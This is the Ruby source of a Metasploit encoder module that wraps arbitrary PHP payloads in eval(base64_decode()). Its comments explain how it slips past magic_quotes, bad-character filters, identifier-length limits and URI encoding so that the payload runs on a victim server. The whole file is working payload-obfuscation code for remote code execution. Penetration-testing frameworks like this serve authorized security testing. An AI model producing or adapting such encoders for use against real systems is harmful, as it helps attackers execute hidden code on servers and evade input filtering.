100 lines
3.7 KiB
Ruby
100 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Encoder
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Rank = GreatRanking
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def initialize
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super(
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'Name' => 'PHP Base64 Encoder',
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'Description' => %q{
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This encoder returns a base64 string encapsulated in
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eval(base64_decode()), increasing the size by a bit more than
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one third.
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},
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'Author' => 'egypt',
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'License' => BSD_LICENSE,
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'Arch' => ARCH_PHP)
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end
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def encode_block(state, buf)
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# Have to have these for the decoder stub, so if they're not available,
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# there's nothing we can do here.
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%w{c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ;}.uniq.each do |c|
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raise BadcharError if state.badchars.include?(c)
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end
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# PHP escapes quotes by default with magic_quotes_gpc, so we use some
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# tricks to get around using them.
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#
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# The raw, unquoted base64 without the terminating equals works because
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# PHP treats it like a string. There are, however, a couple of caveats
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# because first, PHP tries to parse the bare string as a constant.
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# Because of this, the string is limited to things that can be
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# identifiers, i.e., things that start with [a-zA-Z] and contain only
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# [a-zA-Z0-9_]. Also, for payloads that encode to more than 998
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# characters, only part of the payload gets unencoded on the victim,
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# presumably due to a limitation in PHP identifier name lengths, so we
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# break the encoded payload into roughly 900-byte chunks.
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#
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# https://wiki.php.net/rfc/deprecate-bareword-strings
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b64 = Rex::Text.encode_base64(buf)
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# The '=' or '==' used for padding at the end of the base64 encoded
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# data is unnecessary and can cause parse errors when we use it as a
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# raw string, so strip it off.
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b64.gsub!(/[=\n]+/, '')
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# The first character must not be a non-alpha character or PHP chokes.
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i = 0
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while (b64[i].chr =~ %r{[0-9/+]})
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b64[i] = "chr(#{b64[i]})."
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end
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# Similarly, when we seperate large payloads into chunks to avoid the
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# 998-byte problem mentioned above, we have to make sure that the first
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# character of each chunk is an alpha character. This simple algorithm
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# will create a broken string in the case of 99 consecutive digits,
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# slashes, and plusses in the base64 encoding, but the likelihood of
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# that is low enough that I don't care.
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i = 900;
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while i < b64.length
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while (b64[i].chr =~ %r{[0-9/+]})
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i += 1
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end
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b64.insert(i,'.')
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i += 900
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end
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# Plus characters ('+') in a uri are converted to spaces, so replace
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# them with something that PHP will turn into a plus. Slashes cause
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# parse errors on the server side, so do the same for them.
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b64.gsub!("+", ".chr(43).")
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b64.gsub!("/", ".chr(47).")
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state.badchars.each_byte do |byte|
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# Last ditch effort, if any of the normal characters used by base64
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# are badchars, try to replace them with something that will become
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# the appropriate thing on the other side.
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if b64.include?(byte.chr)
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b64.gsub!(byte.chr, ".chr(#{byte}).")
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end
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end
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# In the case where a plus or slash happened at the end of a chunk,
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# we'll have two dots next to each other, so fix it up. Note that this
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# is searching for literal dots, not a regex matching any two
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# characters
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b64.gsub!("..", ".")
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# Some of the shenanigans above could have appended a dot, which will
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# cause a syntax error. Remove any trailing dots.
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b64.chomp!(".")
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return "eval(base64_decode(" + b64 + "));"
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end
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end
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